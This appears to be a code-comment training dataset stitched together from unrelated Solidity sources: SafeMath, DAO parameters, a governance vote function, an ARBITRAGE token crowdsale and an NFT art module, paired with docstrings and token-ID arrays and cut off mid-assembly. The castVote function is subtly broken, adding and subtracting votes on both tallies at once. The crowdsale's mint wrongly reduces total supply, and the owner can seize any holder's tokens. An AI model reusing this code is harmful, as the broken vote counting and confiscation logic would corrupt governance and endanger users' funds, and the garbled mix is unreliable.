* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
abstract contract Parameters {
uint256 public warmUpDuration = 2 days;
uint256 public activeDuration = 2 days;
uint256 public queueDuration = 1 days;
uint256 public gracePeriodDuration = 4 days;
uint256 public acceptanceThreshold = 60;
uint256 public minQuorum = 40;
uint256 constant ACTIVATION_THRESHOLD = 50_000_000 * 10**18;
uint256 constant PROPOSAL_MAX_ACTIONS = 10;
modifier onlyDAO() {
require(msg.sender == address(this), "Only DAO can call");
_;
}
function setWarmUpDuration(uint256 period) public onlyDAO {
warmUpDuration = period;
}
function setActiveDuration(uint256 period) public onlyDAO {
require(period >= 4 hours, "period must be > 0");
activeDuration = period;
}
function setQueueDuration(uint256 period) public onlyDAO {
queueDuration = period;
}
function setGracePeriodDuration(uint256 period) public onlyDAO {
require(period >= 4 hours, "period must be > 0");
gracePeriodDuration = period;
}
function setAcceptanceThreshold(uint256 threshold) public onlyDAO {
require(threshold <= 100, "Maximum is 100.");
require(threshold > 50, "Minimum is 50.");
acceptanceThreshold = threshold;
}
function setMinQuorum(uint256 quorum) public onlyDAO {
require(quorum > 5, "quorum must be greater than 5");
require(quorum <= 100, "Maximum is 100.");
minQuorum = quorum;
}
}
| means it changed its vote | function abrogationProposal_castVote(uint256 proposalId, bool support) public {
require(0 < proposalId && proposalId <= lastProposalId, "invalid proposal id");
AbrogationProposal storage abrogationProposal = abrogationProposals[proposalId];
require(
state(proposalId) == ProposalState.Queued && abrogationProposal.createTime != 0,
"Abrogation Proposal not active"
);
Receipt storage receipt = abrogationProposal.receipts[msg.sender];
require(
receipt.hasVoted == false || receipt.hasVoted && receipt.support != support,
"Already voted this option"
);
uint256 votes = supernova.votingPowerAtTs(msg.sender, abrogationProposal.createTime - 1);
require(votes > 0, "no voting power");
if (receipt.hasVoted) {
if (receipt.support) {
abrogationProposal.forVotes = abrogationProposal.forVotes.sub(receipt.votes);
abrogationProposal.againstVotes = abrogationProposal.againstVotes.sub(receipt.votes);
}
}
if (support) {
abrogationProposal.forVotes = abrogationProposal.forVotes.add(votes);
abrogationProposal.againstVotes = abrogationProposal.againstVotes.add(votes);
}
receipt.hasVoted = true;
receipt.votes = votes;
receipt.support = support;
emit AbrogationProposalVote(proposalId, msg.sender, support, votes);
}
| 12,230,383 | [
1,
18408,
518,
3550,
2097,
12501,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1223,
303,
75,
367,
14592,
67,
4155,
19338,
12,
11890,
5034,
14708,
548,
16,
1426,
2865,
13,
1071,
288,
203,
3639,
2583,
12,
20,
411,
14708,
548,
597,
14708,
548,
1648,
1142,
14592,
548,
16,
315,
5387,
14708,
612,
8863,
203,
203,
3639,
432,
4637,
75,
367,
14592,
2502,
1223,
303,
75,
367,
14592,
273,
1223,
303,
75,
367,
626,
22536,
63,
685,
8016,
548,
15533,
203,
3639,
2583,
12,
203,
5411,
919,
12,
685,
8016,
548,
13,
422,
19945,
1119,
18,
21039,
597,
1223,
303,
75,
367,
14592,
18,
2640,
950,
480,
374,
16,
203,
5411,
315,
37,
4637,
75,
367,
19945,
486,
2695,
6,
203,
3639,
11272,
203,
203,
3639,
29787,
2502,
16030,
273,
1223,
303,
75,
367,
14592,
18,
8606,
27827,
63,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
203,
5411,
16030,
18,
5332,
58,
16474,
422,
629,
747,
16030,
18,
5332,
58,
16474,
597,
16030,
18,
13261,
480,
2865,
16,
203,
5411,
315,
9430,
331,
16474,
333,
1456,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
19588,
273,
2240,
82,
16739,
18,
90,
17128,
13788,
861,
17218,
12,
3576,
18,
15330,
16,
1223,
303,
75,
367,
14592,
18,
2640,
950,
300,
404,
1769,
203,
3639,
2583,
12,
27800,
405,
374,
16,
315,
2135,
331,
17128,
7212,
8863,
203,
203,
3639,
309,
261,
8606,
8138,
18,
5332,
58,
16474,
13,
288,
203,
5411,
309,
261,
8606,
8138,
18,
13261,
13,
288,
203,
7734,
1223,
303,
75,
367,
14592,
18,
1884,
29637,
273,
1223,
303,
75,
367,
14592,
2
]
|
/**
* Investors relations: <span class="__cf_email__" data-cfemail="80f0e1f2f4eee5f2f3c0e1f2e2e9f4f2e1e7e9eee7aee3ef">[email protected]</span>
**/
pragma solidity ^0.4.18;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Standard
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldXRPCToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract ARBITRAGEToken is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "ARBITRAGE";
string public constant symbol = "ARB";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function ARBITRAGEToken(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount); // checks if it has enough to sell
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); // adds the amount to buyer's balance
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount); // subtracts amount from seller's balance
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
}
contract ARBITRAGECrowdsale {
struct Stakeholder
{
address stakeholderAddress;
uint stakeholderPerc;
}
using SafeMath for uint256;
// The token being sold
ARBITRAGEToken public token;
OldXRPCToken public prevXRPCToken;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
Stakeholder[] ownersList;
// address where funds are collected
// address where tokens are deposited and from where we send tokens to buyers
address public walletOwner;
Stakeholder stakeholderObj;
uint256 public coinPercentage = 5;
// how many token units a buyer gets per wei
uint256 public ratePerWei = 1657;
uint256 public maxBuyLimit=2000;
uint256 public tokensSoldInThisRound=0;
uint256 public totalTokensSold = 0;
// amount of raised money in wei
uint256 public weiRaised;
bool public isCrowdsalePaused = false;
address partnerHandler;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function ARBITRAGECrowdsale(address _walletOwner, address _partnerHandler) public {
prevXRPCToken = OldXRPCToken(0xAdb41FCD3DF9FF681680203A074271D3b3Dae526);
startTime = now;
require(_walletOwner != 0x0);
walletOwner=_walletOwner;
stakeholderObj = Stakeholder({
stakeholderAddress: walletOwner,
stakeholderPerc : 100});
ownersList.push(stakeholderObj);
partnerHandler = _partnerHandler;
token = createTokenContract(_walletOwner);
}
// creates the token to be sold.
function createTokenContract(address wall) internal returns (ARBITRAGEToken) {
return new ARBITRAGEToken(wall);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require (isCrowdsalePaused != true);
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(ratePerWei);
require(tokensSoldInThisRound.add(tokens)<=maxBuyLimit);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(walletOwner, beneficiary, tokens);
tokensSoldInThisRound=tokensSoldInThisRound+tokens;
TokenPurchase(walletOwner, beneficiary, weiAmount, tokens);
totalTokensSold = totalTokensSold.add(tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
forwardFunds(partnerCoins);
}
// send ether to the fund collection wallet(s)
function forwardFunds(uint256 partnerTokenAmount) internal {
for (uint i=0;i<ownersList.length;i++)
{
uint percent = ownersList[i].stakeholderPerc;
uint amountToBeSent = msg.value.mul(percent);
amountToBeSent = amountToBeSent.div(100);
ownersList[i].stakeholderAddress.transfer(amountToBeSent);
if (ownersList[i].stakeholderAddress!=walletOwner && ownersList[i].stakeholderPerc>0)
{
token.mint(walletOwner,ownersList[i].stakeholderAddress,partnerTokenAmount);
}
}
}
function updateOwnerShares(address[] partnersAddresses, uint[] partnersPercentages) public{
require(msg.sender==partnerHandler);
require(partnersAddresses.length==partnersPercentages.length);
uint sumPerc=0;
for(uint i=0; i<partnersPercentages.length;i++)
{
sumPerc+=partnersPercentages[i];
}
require(sumPerc==100);
delete ownersList;
for(uint j=0; j<partnersAddresses.length;j++)
{
delete stakeholderObj;
stakeholderObj = Stakeholder({
stakeholderAddress: partnersAddresses[j],
stakeholderPerc : partnersPercentages[j]});
ownersList.push(stakeholderObj);
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
function showMyTokenBalance() public view returns (uint256 tokenBalance) {
tokenBalance = token.showMyTokenBalance(msg.sender);
}
/**
* The function to pull back tokens from a notorious user
* Can only be called from owner wallet
**/
function pullBack(address buyer) public {
require(msg.sender==walletOwner);
uint bal = token.balanceOf(buyer);
token.pullBack(walletOwner,buyer,bal);
}
/**
* function to set the new price
* can only be called from owner wallet
**/
function setPriceRate(uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
ratePerWei = newPrice;
}
/**
* function to set the max buy limit in 1 transaction
* can only be called from owner wallet
**/
function setMaxBuyLimit(uint256 maxlimit) public returns (bool) {
require(msg.sender==walletOwner);
maxBuyLimit = maxlimit *10 ** 18;
}
/**
* function to start new ICO round
* can only be called from owner wallet
**/
function startNewICORound(uint256 maxlimit, uint256 newPrice) public returns (bool) {
require(msg.sender==walletOwner);
setMaxBuyLimit(maxlimit);
setPriceRate(newPrice);
tokensSoldInThisRound=0;
}
/**
* function to get this round information
* can only be called from owner wallet
**/
function getCurrentICORoundInfo() public view returns
(uint256 maxlimit, uint256 newPrice, uint tokensSold) {
return(maxBuyLimit,ratePerWei,tokensSoldInThisRound);
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public returns(bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
* if the crowdsale has been stopped, this function would not resume it
**/
function resumeCrowdsale() public returns (bool) {
require(msg.sender==walletOwner);
isCrowdsalePaused = false;
}
/**
* Shows the remaining tokens in the contract i.e. tokens remaining for sale
**/
function tokensRemainingForSale() public view returns (uint256 balance) {
balance = token.balanceOf(walletOwner);
}
/**
* function to show the equity percentage of an owner - major or minor
* can only be called from the owner wallet
**/
function checkOwnerShare (address owner) public constant returns (uint share) {
require(msg.sender==walletOwner);
for(uint i=0;i<ownersList.length;i++)
{
if(ownersList[i].stakeholderAddress==owner)
{
return ownersList[i].stakeholderPerc;
}
}
return 0;
}
/**
* function to change the coin percentage awarded to the partners
* can only be called from the owner wallet
**/
function changePartnerCoinPercentage(uint percentage) public {
require(msg.sender==walletOwner);
coinPercentage = percentage;
}
/**
* airdrop to old token holders
**/
function airDropToOldTokenHolders(address[] oldTokenHolders) public {
require(msg.sender==walletOwner);
for(uint i = 0; i<oldTokenHolders.length; i++){
if(prevXRPCToken.balanceOf(oldTokenHolders[i])>0)
{
token.mint(walletOwner,oldTokenHolders[i],prevXRPCToken.balanceOf(oldTokenHolders[i]));
}
}
}
function changeWalletOwner(address newWallet) public {
require(msg.sender==walletOwner);
walletOwner = newWallet;
}
} | * Shows the remaining tokens in the contract i.e. tokens remaining for sale/ | function tokensRemainingForSale() public view returns (uint256 balance) {
balance = token.balanceOf(walletOwner);
}
| 2,250,539 | [
1,
24548,
326,
4463,
2430,
316,
326,
6835,
277,
18,
73,
18,
2430,
4463,
364,
272,
5349,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2430,
11429,
1290,
30746,
1435,
1071,
1476,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
3639,
11013,
273,
1147,
18,
12296,
951,
12,
19177,
5541,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: UNLICENSE
/*
(%#(//(# ,%(///#%,
%#,,,,,,,,*## #(,,,,,,,,.#(
(%////////////#//////////**%
/%///(((((Nahiko's(((((((//#
%#(((((((((((((((((((((((## Ò
#%##((((((((((((((((((##/
%%###((((((((((((###%
%%###((((((((##%%
%%%###((###%%
#%%%%%%%*
.%%%
*/
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import './NiftyForge/INiftyForge721.sol';
import './NiftyForge/Modules/NFBaseModule.sol';
import './NiftyForge/Modules/INFModuleTokenURI.sol';
import './NiftyForge/Modules/INFModuleWithRoyalties.sol';
/// @title NahikosGameModule
/// @author Simon Fremaux (@dievardump) & Nahiko
contract LoveModule is
Ownable,
NFBaseModule,
INFModuleTokenURI,
INFModuleWithRoyalties
{
// this is because minting is secured with a Signature
using Strings for uint256;
// link to the skin URI
string public skinURI;
// link to the bones URI
string public bonesURI;
// contract on which this module is made to mint
address public nftContract;
// init the phase associated to the different phases (Skin, Flesh, Bones, Mind)
uint _phase;
// variable to contain the local tokenId
uint256 public tokenId;
address public rendererAddress;
/// @notice constructor
/// @param nftContract_ contract on which we mint
/// @param rendererAddress_ contract containing the code to render the final phase
constructor(
address nftContract_,
address rendererAddress_
) NFBaseModule("") {
nftContract = nftContract_;
rendererAddress = rendererAddress_;
_phase = 1;
}
function supportsInterface(bytes4 interfaceId)
public
view
override
returns (bool)
{
return
interfaceId == type(INFModuleWithRoyalties).interfaceId ||
interfaceId == type(INFModuleTokenURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function tokenURI(uint256 tokenId_)
public
view
override
returns (string memory)
{
return tokenURI(msg.sender, tokenId_);
}
function tokenURI(address, uint256)
public
view
override
returns (string memory)
{
bytes memory uriString;
if(_phase == 3){
string memory rendered = ICaller(rendererAddress).render(address(this));
uriString = abi.encodePacked("data:application/json;utf8,{\"description\":\"\xE2\x9D\xA4\xEF\xB8\x8F\",\"name\":\"Anatomy Of Love\",\"attributes\":[{\"trait_type\":\"Phase\",\"value\":\"The Mind\"}],\"image\":\"data:image/svg+xml;base64,",rendered,"\"}");
}
else if(_phase == 2){
uriString = abi.encodePacked("data:application/json;utf8,{\"description\":\"\xE2\x9D\xA4\xEF\xB8\x8F\",\"name\":\"Anatomy Of Love\",\"attributes\":[{\"trait_type\":\"Phase\",\"value\":\"The Bones\"}],\"animation_url\":\"",bonesURI,"\"}");
}
else if(_phase == 1){
uriString = abi.encodePacked("data:application/json;utf8,{\"description\":\"\xE2\x9D\xA4\xEF\xB8\x8F\",\"name\":\"Anatomy Of Love\",\"attributes\":[{\"trait_type\":\"Phase\",\"value\":\"The Skin\"}],\"image\":\"",skinURI,"\"}");
}
return string(uriString);
}
function mint() external onlyOwner {
require(tokenId == 0, "AlreadyMinted");
// INiftyForge721.mint(address to, string memory uri, address feeRecipient, uint256 feeAmount, address transferTo ) external returns (uint256 tokenId);
tokenId = INiftyForge721(nftContract).mint(owner(), '', address(0), 0, address(0));
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(uint256 tokenId_)
public
view
override
returns (address, uint256)
{
return royaltyInfo(msg.sender, tokenId_);
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(address, uint256)
public
view
override
returns (address, uint256)
{
return (owner(), 500);
}
/// @notice Setter for nfts contract
/// @param nftContract_ the contract containing the registry
function setNFTContract(address nftContract_) external onlyOwner {
nftContract = nftContract_;
}
/// @notice Setter for the skin URI
/// @param skinURI_ the parameter containing the link
function setSkinURI(string memory skinURI_) external onlyOwner {
skinURI = skinURI_;
}
/// @notice Setter for the skin URI
/// @param bonesURI_ the parameter containing the link
function setbonesURI(string memory bonesURI_) external onlyOwner {
bonesURI = bonesURI_;
}
/// @notice Setter for the phase of Anatomy
/// @param newPhase the new phase to be put on
function setphase(uint8 newPhase) external onlyOwner{
_phase = newPhase;
}
event LoveDeclared(address indexed LoveSender, address indexed LoveReceiver);
function DeclareMyLove(address LoveReceiver) public {
emit LoveDeclared(msg.sender, LoveReceiver);
//emit both the lovers's love
}
/// @notice The function containing the painting of a heart on the NFT. The token is the canvas.
function heart() public {
require(false,"nope");
assembly{
sstore(69, 0xa00000a00000a00000ffffffffffffffffffa00000a00000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffff)
sstore(69, 0x0000ff0000ff0000ff0000a00000ffffffa00000ff0000ff0000ff0000a00000)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
sstore(69, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
